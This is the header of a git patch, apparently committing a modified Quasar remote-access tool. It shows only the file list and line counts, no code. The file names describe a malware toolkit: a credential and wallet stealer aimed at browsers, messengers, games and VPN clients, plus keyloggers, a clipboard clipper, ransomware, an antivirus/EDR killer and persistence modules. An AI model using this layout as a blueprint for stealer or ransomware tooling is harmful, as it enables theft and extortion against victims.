From eca95b8d1caa9897f3bf3f507ad3604aa8abd452 Mon Sep 17 00:00:00 2001 From: i2p Date: Thu, 27 Aug 2026 11:22:07 -0600 Subject: [PATCH] initial commit --- .DS_Store | Bin 0 -> 6148 bytes Quasar-1.4.1/.DS_Store | Bin 0 -> 8196 bytes Quasar-1.4.1/.gitattributes | 22 + .../.github/ISSUE_TEMPLATE/bug_report.yaml | 77 + .../ISSUE_TEMPLATE/feature_request.yaml | 23 + Quasar-1.4.1/.gitignore | 204 ++ Quasar-1.4.1/AVEDR_KILLER_README.txt | 74 + Quasar-1.4.1/CHANGELOG.md | 104 + Quasar-1.4.1/CONTRIBUTING.md | 19 + Quasar-1.4.1/Images/remote-desktop.png | Bin 0 -> 393429 bytes Quasar-1.4.1/Images/remote-files.png | Bin 0 -> 39074 bytes Quasar-1.4.1/Images/remote-shell.png | Bin 0 -> 38652 bytes Quasar-1.4.1/LICENSE | 21 + Quasar-1.4.1/LICENSE_SYSTEM_README.txt | 43 + .../Licenses/Be.HexEditor_license.txt | 21 + .../Licenses/BouncyCastle_license.html | 39 + .../Licenses/GlobalMouseKeyHook_license.txt | 21 + Quasar-1.4.1/Licenses/Mono.Cecil_license.txt | 21 + Quasar-1.4.1/Licenses/Open.Nat_license.txt | 23 + Quasar-1.4.1/Licenses/ResourceLib_license.txt | 20 + Quasar-1.4.1/Licenses/SilkIcons_license.txt | 2 + .../Licenses/protobuf-net_license.txt | 20 + .../Quasar.Client/BotKiller/MutexScanner.cs | 216 ++ .../Quasar.Client/BotKiller/Win32API.cs | 94 + Quasar-1.4.1/Quasar.Client/Config/Settings.cs | 113 + .../Quasar.Client/Extensions/KeyExtensions.cs | 59 + .../Extensions/ProcessExtensions.cs | 19 + .../Extensions/RegistryKeyExtensions.cs | 400 +++ .../Video.DirectShow/CameraControlProperty.cs | 67 + .../AForge/Video.DirectShow/FilterInfo.cs | 193 ++ .../Video.DirectShow/FilterInfoCollection.cs | 138 ++ .../Internals/IAMCameraControl.cs | 81 + .../Video.DirectShow/Internals/IAMCrossbar.cs | 88 + .../Internals/IAMStreamConfig.cs | 74 + .../Internals/IAMVideoControl.cs | 112 + .../Video.DirectShow/Internals/IBaseFilter.cs | 161 ++ .../Internals/ICaptureGraphBuilder2.cs | 192 ++ .../Internals/ICreateDevEnum.cs | 37 + .../Internals/IEnumFilters.cs | 71 + .../Video.DirectShow/Internals/IEnumPins.cs | 68 + .../Internals/IFilterGraph.cs | 113 + .../Internals/IFilterGraph2.cs | 257 ++ .../Internals/IGraphBuilder.cs | 198 ++ .../Internals/IMediaControl.cs | 118 + .../Internals/IMediaEventEx.cs | 126 + .../AForge/Video.DirectShow/Internals/IPin.cs | 191 ++ .../Internals/IPropertyBag.cs | 53 + .../Internals/IReferenceClock.cs | 87 + .../Internals/ISampleGrabber.cs | 103 + .../Internals/ISampleGrabberCB.cs | 47 + .../Internals/ISpecifyPropertyPages.cs | 36 + .../Video.DirectShow/Internals/Structures.cs | 518 ++++ .../Video.DirectShow/Internals/Uuids.cs | 299 +++ .../Video.DirectShow/Internals/Win32.cs | 102 + .../Video.DirectShow/PhysicalConnectorType.cs | 123 + .../Helper/AForge/Video.DirectShow/Uuids.cs | 55 + .../Video.DirectShow/VideoCapabilities.cs | 245 ++ .../Video.DirectShow/VideoCaptureDevice.cs | 1698 +++++++++++++ .../AForge/Video.DirectShow/VideoInput.cs | 47 + .../Helper/AForge/Video/IVideoSource.cs | 126 + .../Helper/AForge/Video/VideoEvents.cs | 125 + .../Quasar.Client/Helper/DateTimeHelper.cs | 16 + .../Quasar.Client/Helper/JsonHelper.cs | 46 + .../Helper/NativeMethodsHelper.cs | 197 ++ .../Quasar.Client/Helper/RegistryKeyHelper.cs | 158 ++ .../Quasar.Client/Helper/ScreenHelper.cs | 38 + .../Quasar.Client/Helper/SystemHelper.cs | 95 + Quasar-1.4.1/Quasar.Client/ILRepack.targets | 26 + Quasar-1.4.1/Quasar.Client/IO/BatchFile.cs | 79 + .../Quasar.Client/IO/HardwareDevices.cs | 264 ++ Quasar-1.4.1/Quasar.Client/IO/Shell.cs | 332 +++ .../Intelix.Helper.Data/ArchiveStructure.cs | 29 + .../ConsolidatedFilesGenerator.cs | 382 +++ .../Intelix/Intelix.Helper.Data/Counter.cs | 194 ++ .../Intelix.Helper.Data/InMemoryZip.cs | 156 ++ .../Intelix/Intelix.Helper.Data/Paths.cs | 121 + .../Intelix.Helper.Encrypted/AesGcm.cs | 99 + .../Intelix.Helper.Encrypted/AesGcm256.cs | 383 +++ .../Intelix.Helper.Encrypted/Asn1Der.cs | 95 + .../Intelix.Helper.Encrypted/Asn1DerObject.cs | 71 + .../Intelix.Helper.Encrypted/Blowfish.cs | 311 +++ .../ChaCha20Poly1305.cs | 244 ++ .../Intelix.Helper.Encrypted/CngDecryptor.cs | 51 + .../Intelix/Intelix.Helper.Encrypted/DpApi.cs | 48 + .../LocalEncryptor.cs | 68 + .../Intelix.Helper.Encrypted/LocalState.cs | 226 ++ .../Intelix.Helper.Encrypted/NSSDecryptor.cs | 80 + .../Navicat11Cipher.cs | 64 + .../NssDumpMasterKey.cs | 178 ++ .../Intelix.Helper.Encrypted/RC4Crypt.cs | 50 + .../Intelix.Helper.Encrypted/TripleDes.cs | 163 ++ .../Intelix/Intelix.Helper.Encrypted/Xor.cs | 16 + .../YaAuthenticatedData.cs | 45 + .../Intelix/Intelix.Helper.Hashing/PBE.cs | 46 + .../Intelix/Intelix.Helper.Hashing/PBKDF2.cs | 106 + .../Intelix/Intelix.Helper.Sql/BerkeleyDB.cs | 72 + .../Intelix/Intelix.Helper.Sql/SqLite.cs | 457 ++++ .../Intelix/Intelix.Helper/BlobParsedData.cs | 14 + .../Intelix/Intelix.Helper/ConcurrentLong.cs | 59 + .../Intelix/Intelix.Helper/CpuInfo.cs | 32 + .../Intelix/Intelix.Helper/HwidGenerator.cs | 186 ++ .../Intelix.Helper/ImpersonationHelper.cs | 110 + .../Intelix/Intelix.Helper/IpApi.cs | 75 + .../Intelix/Intelix.Helper/MutexControl.cs | 16 + .../Intelix/Intelix.Helper/NativeMethods.cs | 194 ++ .../Intelix/Intelix.Helper/ParseKeyBlob.cs | 66 + .../Intelix/Intelix.Helper/ProcessKiller.cs | 153 ++ .../Intelix/Intelix.Helper/ProcessWindows.cs | 250 ++ .../Intelix/Intelix.Helper/RandomStrings.cs | 29 + .../Intelix/Intelix.Helper/RegistryParser.cs | 45 + .../Intelix/Intelix.Helper/RestoreCookies.cs | 180 ++ .../Intelix/Intelix.Helper/WindowsInfo.cs | 88 + .../Intelix.Targets.Applications/AnyDesk.cs | 21 + .../Intelix.Targets.Applications/CoreFtp.cs | 87 + .../Intelix.Targets.Applications/CyberDuck.cs | 30 + .../Intelix.Targets.Applications/DynDns.cs | 51 + .../FTPCommander.cs | 66 + .../Intelix.Targets.Applications/FTPGetter.cs | 54 + .../FTPNavigator.cs | 50 + .../Intelix.Targets.Applications/FTPRush.cs | 68 + .../Intelix.Targets.Applications/FileZilla.cs | 56 + .../Intelix.Targets.Applications/FoxMail.cs | 202 ++ .../Intelix.Targets.Applications/GithubGui.cs | 42 + .../Intelix.Targets.Applications/JetBrains.cs | 39 + .../Intelix.Targets.Applications/MobaXterm.cs | 170 ++ .../Intelix.Targets.Applications/Navicat.cs | 63 + .../Intelix.Targets.Applications/Ngrok.cs | 23 + .../Intelix.Targets.Applications/NoIp.cs | 67 + .../Intelix.Targets.Applications/Obs.cs | 71 + .../Intelix.Targets.Applications/PlayIt.cs | 33 + .../Intelix.Targets.Applications/PuTTY.cs | 62 + .../Intelix.Targets.Applications/RDCMan.cs | 124 + .../Intelix.Targets.Applications/Rdp.cs | 103 + .../Intelix.Targets.Applications/Sunlogin.cs | 101 + .../Intelix.Targets.Applications/TeamSpeak.cs | 92 + .../TeamViewer.cs | 33 + .../TotalCommander.cs | 23 + .../Intelix.Targets.Applications/WinSCP.cs | 125 + .../Intelix.Targets.Applications/Xmanager.cs | 136 + .../Intelix.Targets.Browsers/Chromium.cs | 851 +++++++ .../CryptoChromium.cs | 155 ++ .../Intelix.Targets.Browsers/CryptoGecko.cs | 62 + .../Intelix/Intelix.Targets.Browsers/Gecko.cs | 191 ++ .../UserAgentGenerator.cs | 91 + .../Intelix.Targets.Crypto/CryptoDesktop.cs | 240 ++ .../Intelix/Intelix.Targets.Crypto/Grabber.cs | 187 ++ .../Intelix.Targets.Device/GameList.cs | 22 + .../InstalledBrowsers.cs | 160 ++ .../InstalledPrograms.cs | 77 + .../Intelix.Targets.Device/ProcessDump.cs | 43 + .../Intelix.Targets.Device/ProductKey.cs | 135 + .../Intelix.Targets.Device/ScreenShot.cs | 177 ++ .../Intelix.Targets.Device/SystemInfo.cs | 311 +++ .../Intelix/Intelix.Targets.Device/WifiKey.cs | 262 ++ .../Intelix.Targets.Games/BattleNet.cs | 45 + .../Intelix.Targets.Games/ElectronicArts.cs | 60 + .../Intelix/Intelix.Targets.Games/Epic.cs | 27 + .../Intelix.Targets.Games/Growtopia.cs | 22 + .../Intelix.Targets.Games/Minecraft.cs | 56 + .../Intelix/Intelix.Targets.Games/Riot.cs | 22 + .../Intelix/Intelix.Targets.Games/Roblox.cs | 71 + .../Intelix/Intelix.Targets.Games/Steam.cs | 169 ++ .../Intelix/Intelix.Targets.Games/Uplay.cs | 22 + .../Intelix/Intelix.Targets.Games/XBox.cs | 53 + .../Intelix.Targets.Messangers/Discord.cs | 163 ++ .../Intelix.Targets.Messangers/Element.cs | 23 + .../Intelix/Intelix.Targets.Messangers/Icq.cs | 23 + .../Intelix.Targets.Messangers/Jabber.cs | 43 + .../Intelix.Targets.Messangers/MicroSIP.cs | 23 + .../Intelix.Targets.Messangers/Outlook.cs | 152 ++ .../Intelix.Targets.Messangers/Pidgin.cs | 99 + .../Intelix.Targets.Messangers/Signal.cs | 43 + .../Intelix.Targets.Messangers/Skype.cs | 24 + .../Intelix.Targets.Messangers/Telegram.cs | 163 ++ .../Intelix/Intelix.Targets.Messangers/Tox.cs | 23 + .../Intelix.Targets.Messangers/Viber.cs | 30 + .../Intelix/Intelix.Targets.Vpn/Cisco.cs | 23 + .../Intelix/Intelix.Targets.Vpn/CyberGhost.cs | 23 + .../Intelix/Intelix.Targets.Vpn/ExpressVPN.cs | 23 + .../Intelix/Intelix.Targets.Vpn/Hamachi.cs | 23 + .../Intelix/Intelix.Targets.Vpn/HideMyName.cs | 52 + .../Intelix/Intelix.Targets.Vpn/IpVanish.cs | 23 + .../Intelix/Intelix.Targets.Vpn/MullVad.cs | 22 + .../Intelix/Intelix.Targets.Vpn/NordVpn.cs | 64 + .../Intelix/Intelix.Targets.Vpn/OpenVpn.cs | 37 + .../Intelix/Intelix.Targets.Vpn/PIAVPN.cs | 22 + .../Intelix/Intelix.Targets.Vpn/ProtonVpn.cs | 50 + .../Intelix/Intelix.Targets.Vpn/Proxifier.cs | 22 + .../Intelix/Intelix.Targets.Vpn/RadminVPN.cs | 45 + .../Intelix/Intelix.Targets.Vpn/SoftEther.cs | 52 + .../Intelix/Intelix.Targets.Vpn/SurfShark.cs | 37 + .../Intelix/Intelix.Targets.Vpn/WireGuard.cs | 52 + .../Intelix/Intelix.Targets/ITarget.cs | 8 + .../IpGeoLocation/GeoInformation.cs | 16 + .../IpGeoLocation/GeoInformationFactory.cs | 47 + .../IpGeoLocation/GeoInformationRetriever.cs | 174 ++ .../IpGeoLocation/GeoResponse.cs | 45 + .../Quasar.Client/Logging/Keylogger.cs | 380 +++ .../Quasar.Client/Logging/KeyloggerService.cs | 68 + .../Quasar.Client/Messages/AVKillerHandler.cs | 635 +++++ .../Messages/ActiveWindowHandler.cs | 53 + .../Quasar.Client/Messages/AutoTaskHandler.cs | 124 + .../Messages/BotKillerHandler.cs | 199 ++ .../Messages/ClientServicesHandler.cs | 113 + .../Quasar.Client/Messages/ClipperHandler.cs | 164 ++ .../Messages/FileManagerHandler.cs | 579 +++++ .../Messages/IntelixStealerHandler.cs | 238 ++ .../Messages/KeyloggerHandler.cs | 28 + .../Messages/LiveKeyloggerHandler.cs | 319 +++ .../Messages/MessageBoxHandler.cs | 39 + .../Messages/NotificationMessageProcessor.cs | 11 + .../Messages/RansomwareHandler.cs | 433 ++++ .../Messages/RansomwareHandler.cs.broken | 1199 +++++++++ .../Quasar.Client/Messages/RegistryHandler.cs | 228 ++ .../Messages/RemoteDesktopHandler.cs | 262 ++ .../Messages/RemoteShellHandler.cs | 95 + .../Messages/ReverseProxyHandler.cs | 58 + .../Quasar.Client/Messages/ShutdownHandler.cs | 58 + .../Messages/StartupManagerHandler.cs | 265 ++ .../Quasar.Client/Messages/SurvivalHandler.cs | 58 + .../Messages/SystemInformationHandler.cs | 253 ++ .../Messages/SystemOptionHandler.cs | 302 +++ .../Messages/TaskManagerHandler.cs | 261 ++ .../Messages/TcpConnectionsHandler.cs | 117 + .../Quasar.Client/Messages/WebcamHandler.cs | 147 ++ .../Messages/WebsiteVisitorHandler.cs | 60 + .../Quasar.Client/Networking/Client.cs | 691 ++++++ .../Quasar.Client/Networking/QuasarClient.cs | 176 ++ .../Networking/UdpFrameSender.cs | 87 + Quasar-1.4.1/Quasar.Client/Program.cs | 91 + .../Quasar.Client/Properties/AssemblyInfo.cs | 34 + .../Properties/Resources.Designer.cs | 63 + .../Quasar.Client/Properties/Resources.resx | 120 + .../Properties/Settings.Designer.cs | 26 + .../Properties/Settings.settings | 7 + .../Quasar.Client/Quasar.Client.csproj | 77 + .../Quasar.Client/QuasarApplication.cs | 266 ++ .../Quasar.Client/Ransomware/FileEncryptor.cs | 148 ++ .../Quasar.Client/Registry/RegistryEditor.cs | 399 +++ .../Quasar.Client/Registry/RegistrySeeker.cs | 216 ++ .../ReverseProxy/ReverseProxyClient.cs | 145 ++ .../Quasar.Client/Setup/ClientInstaller.cs | 102 + .../Quasar.Client/Setup/ClientSetupBase.cs | 14 + .../Quasar.Client/Setup/ClientStartup.cs | 52 + .../Quasar.Client/Setup/ClientUninstaller.cs | 52 + .../Quasar.Client/Setup/ClientUpdater.cs | 38 + .../Quasar.Client/Survival/RSFuncs.cs | 325 +++ .../Quasar.Client/User/ActivityDetection.cs | 125 + .../Quasar.Client/User/UserAccount.cs | 39 + .../Quasar.Client/Utilities/NativeMethods.cs | 219 ++ .../Utilities/SingleInstanceMutex.cs | 62 + Quasar-1.4.1/Quasar.Client/app.manifest | 44 + .../Compression/JpgCompression.Tests.cs | 24 + .../Cryptography/Aes256.Tests.cs | 49 + .../Cryptography/SHA256.Tests.cs | 20 + .../Helpers/FileHelper.Tests.cs | 35 + .../Properties/AssemblyInfo.cs | 20 + .../Quasar.Common.Tests.csproj | 22 + .../Quasar.Common/Cryptography/Aes256.cs | 128 + .../Cryptography/SafeComparison.cs | 29 + .../Quasar.Common/Cryptography/Sha256.cs | 33 + Quasar-1.4.1/Quasar.Common/DNS/Host.cs | 33 + .../Quasar.Common/DNS/HostsConverter.cs | 40 + .../Quasar.Common/DNS/HostsManager.cs | 63 + .../Quasar.Common/Enums/AccountType.cs | 10 + .../Quasar.Common/Enums/ConnectionState.cs | 18 + .../Quasar.Common/Enums/ContentType.cs | 16 + Quasar-1.4.1/Quasar.Common/Enums/FileType.cs | 9 + .../Quasar.Common/Enums/MouseAction.cs | 14 + .../Quasar.Common/Enums/ProcessAction.cs | 8 + .../Quasar.Common/Enums/ShutdownAction.cs | 9 + .../Quasar.Common/Enums/StartupType.cs | 13 + .../Quasar.Common/Enums/UserStatus.cs | 8 + .../Extensions/DriveTypeExtensions.cs | 27 + .../Extensions/SocketExtensions.cs | 48 + .../Extensions/StringExtensions.cs | 69 + .../Quasar.Common/Helpers/FileHelper.cs | 101 + .../Quasar.Common/Helpers/PlatformHelper.cs | 120 + .../Quasar.Common/Helpers/StringHelper.cs | 80 + Quasar-1.4.1/Quasar.Common/IO/FileSplit.cs | 124 + .../Messages/AVKillerResponse.cs | 14 + .../Quasar.Common/Messages/BotKillerResult.cs | 29 + .../Messages/ClientIdentification.cs | 44 + .../Messages/ClientIdentificationResult.cs | 11 + .../Messages/DoAVKillerCommand.cs | 17 + .../Quasar.Common/Messages/DoAskElevate.cs | 9 + .../Quasar.Common/Messages/DoAutoTask.cs | 20 + .../Quasar.Common/Messages/DoBotKiller.cs | 9 + .../Messages/DoChangeRegistryValue.cs | 15 + .../Messages/DoClientDisconnect.cs | 9 + .../Messages/DoClientReconnect.cs | 9 + .../Messages/DoClientUninstall.cs | 9 + .../Messages/DoCloseConnection.cs | 20 + .../Messages/DoCreateRegistryKey.cs | 11 + .../Messages/DoCreateRegistryValue.cs | 15 + .../Messages/DoDeleteRegistryKey.cs | 14 + .../Messages/DoDeleteRegistryValue.cs | 14 + .../Quasar.Common/Messages/DoKeyboardEvent.cs | 14 + .../Messages/DoLoadRegistryKey.cs | 11 + .../Quasar.Common/Messages/DoMouseEvent.cs | 24 + .../Quasar.Common/Messages/DoPathCopy.cs | 18 + .../Quasar.Common/Messages/DoPathDelete.cs | 15 + .../Quasar.Common/Messages/DoPathRename.cs | 18 + .../Quasar.Common/Messages/DoProcessEnd.cs | 11 + .../Messages/DoProcessResponse.cs | 15 + .../Quasar.Common/Messages/DoProcessStart.cs | 29 + .../Quasar.Common/Messages/DoRansomware.cs | 26 + .../Messages/DoRenameRegistryKey.cs | 17 + .../Messages/DoRenameRegistryValue.cs | 17 + .../Quasar.Common/Messages/DoShellExecute.cs | 11 + .../Messages/DoShellExecuteResponse.cs | 14 + .../Messages/DoShowMessageBox.cs | 20 + .../Messages/DoShutdownAction.cs | 12 + .../Quasar.Common/Messages/DoStartClipper.cs | 12 + .../Messages/DoStartLiveKeylogger.cs | 9 + .../Messages/DoStartupItemAdd.cs | 12 + .../Messages/DoStartupItemRemove.cs | 12 + .../Quasar.Common/Messages/DoStopClipper.cs | 9 + .../Messages/DoStopLiveKeylogger.cs | 9 + .../Messages/DoSurvivalInstall.cs | 14 + .../Messages/DoSurvivalUninstall.cs | 9 + .../Quasar.Common/Messages/DoSystemOption.cs | 14 + .../Quasar.Common/Messages/DoVisitWebsite.cs | 14 + .../Quasar.Common/Messages/DoWebcamStart.cs | 14 + .../Quasar.Common/Messages/DoWebcamStop.cs | 9 + .../Messages/FileTransferCancel.cs | 14 + .../Messages/FileTransferChunk.cs | 21 + .../Messages/FileTransferComplete.cs | 14 + .../Messages/FileTransferRequest.cs | 14 + .../Quasar.Common/Messages/GetActiveWindow.cs | 9 + .../Messages/GetActiveWindowResponse.cs | 11 + .../GetChangeRegistryValueResponse.cs | 21 + .../Quasar.Common/Messages/GetConnections.cs | 9 + .../Messages/GetConnectionsResponse.cs | 12 + .../Messages/GetCreateRegistryKeyResponse.cs | 21 + .../GetCreateRegistryValueResponse.cs | 21 + .../Messages/GetDeleteRegistryKeyResponse.cs | 20 + .../GetDeleteRegistryValueResponse.cs | 20 + .../Quasar.Common/Messages/GetDesktop.cs | 35 + .../Messages/GetDesktopResponse.cs | 21 + .../Messages/GetDesktopUdpReady.cs | 22 + .../Quasar.Common/Messages/GetDirectory.cs | 11 + .../Messages/GetDirectoryResponse.cs | 15 + .../Quasar.Common/Messages/GetDrives.cs | 9 + .../Messages/GetDrivesResponse.cs | 12 + .../Messages/GetIntelixStealerLogs.cs | 9 + .../Messages/GetIntelixStealerLogsResponse.cs | 35 + .../Messages/GetKeyloggerLogsDirectory.cs | 9 + .../GetKeyloggerLogsDirectoryResponse.cs | 11 + .../Quasar.Common/Messages/GetMonitors.cs | 9 + .../Messages/GetMonitorsResponse.cs | 11 + .../Quasar.Common/Messages/GetProcesses.cs | 9 + .../Messages/GetProcessesResponse.cs | 12 + .../Messages/GetRegistryKeysResponse.cs | 21 + .../Messages/GetRenameRegistryKeyResponse.cs | 23 + .../GetRenameRegistryValueResponse.cs | 23 + .../Quasar.Common/Messages/GetStartupItems.cs | 9 + .../Messages/GetStartupItemsResponse.cs | 13 + .../Quasar.Common/Messages/GetSystemInfo.cs | 9 + .../Messages/GetSystemInfoResponse.cs | 13 + .../Messages/GetWebcamResponse.cs | 11 + .../Quasar.Common/Messages/GetWebcams.cs | 9 + .../Messages/GetWebcamsResponse.cs | 11 + .../Quasar.Common/Messages/IMessage.cs | 6 + .../Messages/IMessageProcessor.cs | 31 + .../Messages/LiveKeystrokeData.cs | 14 + .../Quasar.Common/Messages/MessageHandler.cs | 66 + .../Messages/MessageProcessorBase.cs | 107 + .../Quasar.Common/Messages/NewSurvivalLog.cs | 14 + .../Messages/RansomwareResponse.cs | 20 + .../ReverseProxy/ReverseProxyConnect.cs | 17 + .../ReverseProxyConnectResponse.cs | 23 + .../Messages/ReverseProxy/ReverseProxyData.cs | 14 + .../ReverseProxy/ReverseProxyDisconnect.cs | 11 + .../Quasar.Common/Messages/SetStatus.cs | 11 + .../Messages/SetStatusFileManager.cs | 14 + .../Quasar.Common/Messages/SetUserStatus.cs | 12 + .../Messages/SystemOptionResponse.cs | 14 + .../Quasar.Common/Messages/TypeRegistry.cs | 49 + Quasar-1.4.1/Quasar.Common/Models/Drive.cs | 14 + .../Quasar.Common/Models/FileChunk.cs | 14 + .../Quasar.Common/Models/FileSystemEntry.cs | 25 + Quasar-1.4.1/Quasar.Common/Models/Process.cs | 17 + .../Quasar.Common/Models/RegSeekerMatch.cs | 22 + .../Quasar.Common/Models/RegValueData.cs | 18 + .../Quasar.Common/Models/StartupItem.cs | 18 + .../Quasar.Common/Models/TcpConnection.cs | 27 + Quasar-1.4.1/Quasar.Common/NativeMethods.cs | 27 + .../Quasar.Common/Networking/ISender.cs | 10 + .../Quasar.Common/Networking/PayloadReader.cs | 75 + .../Quasar.Common/Networking/PayloadWriter.cs | 65 + .../Quasar.Common/Properties/AssemblyInfo.cs | 37 + .../Quasar.Common/Quasar.Common.csproj | 31 + .../Quasar.Common/Utilities/ByteConverter.cs | 135 + .../Quasar.Common/Utilities/SafeRandom.cs | 54 + .../Video/Codecs/UnsafeStreamCodec.cs | 380 +++ .../Video/Compression/JpgCompression.cs | 68 + .../Quasar.Common/Video/Resolution.cs | 50 + .../Quasar.Common/Video/UdpFrameProtocol.cs | 68 + .../Quasar.Keygen/FrmKeygen.Designer.cs | 121 + Quasar-1.4.1/Quasar.Keygen/FrmKeygen.cs | 45 + .../Quasar.Keygen/LicenseGenerator.cs | 20 + Quasar-1.4.1/Quasar.Keygen/Program.cs | 16 + .../Quasar.Keygen/Quasar.Keygen.csproj | 11 + .../Quasar.Server/Build/ClientBuilder.cs | 225 ++ Quasar-1.4.1/Quasar.Server/Build/Renamer.cs | 195 ++ .../Controls/DotNetBarTabControl.cs | 155 ++ .../Controls/HexEditor/ByteCollection.cs | 82 + .../Quasar.Server/Controls/HexEditor/Caret.cs | 232 ++ .../Controls/HexEditor/EditView.cs | 177 ++ .../Controls/HexEditor/HexEditor.cs | 1361 ++++++++++ .../Controls/HexEditor/HexViewHandler.cs | 442 ++++ .../HexEditor/IKeyMouseEventHandler.cs | 24 + .../Controls/HexEditor/StringViewHandler.cs | 382 +++ .../Quasar.Server/Controls/InputBox.cs | 54 + Quasar-1.4.1/Quasar.Server/Controls/Line.cs | 28 + .../Quasar.Server/Controls/ListViewEx.cs | 257 ++ .../Quasar.Server/Controls/ModernSidebar.cs | 167 ++ .../Quasar.Server/Controls/RapidPictureBox.cs | 189 ++ .../Controls/RegistryTreeView.cs | 13 + .../Controls/RegistryValueLstItem.cs | 72 + .../Controls/StatisticsPanel.Designer.cs | 325 +++ .../Quasar.Server/Controls/StatisticsPanel.cs | 223 ++ .../Controls/StatisticsPanel.resx | 120 + .../Controls/WordTextBox.Designer.cs | 36 + .../Quasar.Server/Controls/WordTextBox.cs | 171 ++ Quasar-1.4.1/Quasar.Server/DebugLogger.cs | 51 + .../Quasar.Server/Enums/TransferType.cs | 8 + Quasar-1.4.1/Quasar.Server/Enums/WordType.cs | 8 + .../Extensions/ListViewExtensions.cs | 36 + .../Extensions/RegistryKeyExtensions.cs | 55 + Quasar-1.4.1/Quasar.Server/Forms/BaseForm.cs | 17 + .../Quasar.Server/Forms/DarkMode/DarkMode.cs | 1697 +++++++++++++ .../Forms/DarkMode/DarkModeManager.cs | 43 + .../Forms/FrmAVKiller.Designer.cs | 162 ++ .../Quasar.Server/Forms/FrmAVKiller.cs | 298 +++ .../Quasar.Server/Forms/FrmAVKiller.resx | 120 + .../Quasar.Server/Forms/FrmAbout.Designer.cs | 134 + Quasar-1.4.1/Quasar.Server/Forms/FrmAbout.cs | 53 + .../Quasar.Server/Forms/FrmAbout.resx | 659 +++++ .../Quasar.Server/Forms/FrmAutoTasks.cs | 811 ++++++ .../Quasar.Server/Forms/FrmAutoTasks.resx | 120 + .../Forms/FrmBotKiller.Designer.cs | 175 ++ .../Quasar.Server/Forms/FrmBotKiller.cs | 110 + .../Forms/FrmBuilder.Designer.cs | 1405 +++++++++++ .../Quasar.Server/Forms/FrmBuilder.cs | 688 ++++++ .../Quasar.Server/Forms/FrmBuilder.resx | 665 +++++ .../Forms/FrmCertificate.Designer.cs | 168 ++ .../Quasar.Server/Forms/FrmCertificate.cs | 102 + .../Quasar.Server/Forms/FrmCertificate.resx | 659 +++++ .../Forms/FrmClipper.Designer.cs | 266 ++ .../Quasar.Server/Forms/FrmClipper.cs | 104 + .../Forms/FrmConnections.Designer.cs | 163 ++ .../Quasar.Server/Forms/FrmConnections.cs | 187 ++ .../Quasar.Server/Forms/FrmConnections.resx | 662 +++++ .../Forms/FrmFileManager.Designer.cs | 753 ++++++ .../Quasar.Server/Forms/FrmFileManager.cs | 854 +++++++ .../Quasar.Server/Forms/FrmFileManager.resx | 853 +++++++ .../Forms/FrmIntelixResults.Designer.cs | 174 ++ .../Quasar.Server/Forms/FrmIntelixResults.cs | 68 + .../Forms/FrmKeylogger.Designer.cs | 134 + .../Quasar.Server/Forms/FrmKeylogger.cs | 172 ++ .../Quasar.Server/Forms/FrmKeylogger.resx | 662 +++++ .../Forms/FrmLicense.Designer.cs | 108 + .../Quasar.Server/Forms/FrmLicense.cs | 96 + .../Forms/FrmLiveKeylogger.Designer.cs | 119 + .../Quasar.Server/Forms/FrmLiveKeylogger.cs | 130 + .../Quasar.Server/Forms/FrmLiveKeylogger.resx | 659 +++++ .../Quasar.Server/Forms/FrmMain.Designer.cs | 1112 +++++++++ Quasar-1.4.1/Quasar.Server/Forms/FrmMain.cs | 1244 ++++++++++ Quasar-1.4.1/Quasar.Server/Forms/FrmMain.resx | 2176 ++++++++++++++++ .../Forms/FrmRansomware.Designer.cs | 287 +++ .../Quasar.Server/Forms/FrmRansomware.cs | 234 ++ .../Quasar.Server/Forms/FrmRansomware.resx | 120 + .../Forms/FrmRegValueEditBinary.Designer.cs | 143 ++ .../Forms/FrmRegValueEditBinary.cs | 50 + .../Forms/FrmRegValueEditBinary.resx | 120 + .../FrmRegValueEditMultiString.Designer.cs | 140 ++ .../Forms/FrmRegValueEditMultiString.cs | 30 + .../Forms/FrmRegValueEditMultiString.resx | 120 + .../Forms/FrmRegValueEditString.Designer.cs | 143 ++ .../Forms/FrmRegValueEditString.cs | 31 + .../Forms/FrmRegValueEditString.resx | 659 +++++ .../Forms/FrmRegValueEditWord.Designer.cs | 192 ++ .../Forms/FrmRegValueEditWord.cs | 80 + .../Forms/FrmRegValueEditWord.resx | 659 +++++ .../Forms/FrmRegistryEditor.Designer.cs | 768 ++++++ .../Quasar.Server/Forms/FrmRegistryEditor.cs | 1009 ++++++++ .../Forms/FrmRegistryEditor.resx | 769 ++++++ .../Forms/FrmRemoteDesktop.Designer.cs | 296 +++ .../Quasar.Server/Forms/FrmRemoteDesktop.cs | 486 ++++ .../Quasar.Server/Forms/FrmRemoteDesktop.resx | 662 +++++ .../Forms/FrmRemoteExecution.Designer.cs | 267 ++ .../Quasar.Server/Forms/FrmRemoteExecution.cs | 241 ++ .../Forms/FrmRemoteExecution.resx | 659 +++++ .../Forms/FrmRemoteShell.Designer.cs | 110 + .../Quasar.Server/Forms/FrmRemoteShell.cs | 197 ++ .../Quasar.Server/Forms/FrmRemoteShell.resx | 659 +++++ .../Forms/FrmRemoteWebcam.Designer.cs | 186 ++ .../Quasar.Server/Forms/FrmRemoteWebcam.cs | 225 ++ .../Quasar.Server/Forms/FrmRemoteWebcam.resx | 662 +++++ .../Forms/FrmRemoteWebcam_temp.resx | 2193 +++++++++++++++++ .../Forms/FrmReverseProxy.Designer.cs | 287 +++ .../Quasar.Server/Forms/FrmReverseProxy.cs | 231 ++ .../Quasar.Server/Forms/FrmReverseProxy.resx | 662 +++++ .../Forms/FrmSettings.Designer.cs | 389 +++ .../Quasar.Server/Forms/FrmSettings.cs | 193 ++ .../Quasar.Server/Forms/FrmSettings.resx | 659 +++++ .../Forms/FrmShowMessagebox.Designer.cs | 192 ++ .../Quasar.Server/Forms/FrmShowMessagebox.cs | 107 + .../Forms/FrmShowMessagebox.resx | 659 +++++ .../Forms/FrmStartupAdd.Designer.cs | 175 ++ .../Quasar.Server/Forms/FrmStartupAdd.cs | 73 + .../Quasar.Server/Forms/FrmStartupAdd.resx | 662 +++++ .../Forms/FrmStartupManager.Designer.cs | 135 + .../Quasar.Server/Forms/FrmStartupManager.cs | 205 ++ .../Forms/FrmStartupManager.resx | 662 +++++ .../Forms/FrmSurvival.Designer.cs | 135 + .../Quasar.Server/Forms/FrmSurvival.cs | 101 + .../Forms/FrmSystemInformation.Designer.cs | 173 ++ .../Forms/FrmSystemInformation.cs | 298 +++ .../Forms/FrmSystemInformation.resx | 662 +++++ .../Forms/FrmSystemOptions.Designer.cs | 348 +++ .../Quasar.Server/Forms/FrmSystemOptions.cs | 218 ++ .../Quasar.Server/Forms/FrmSystemOptions.resx | 120 + 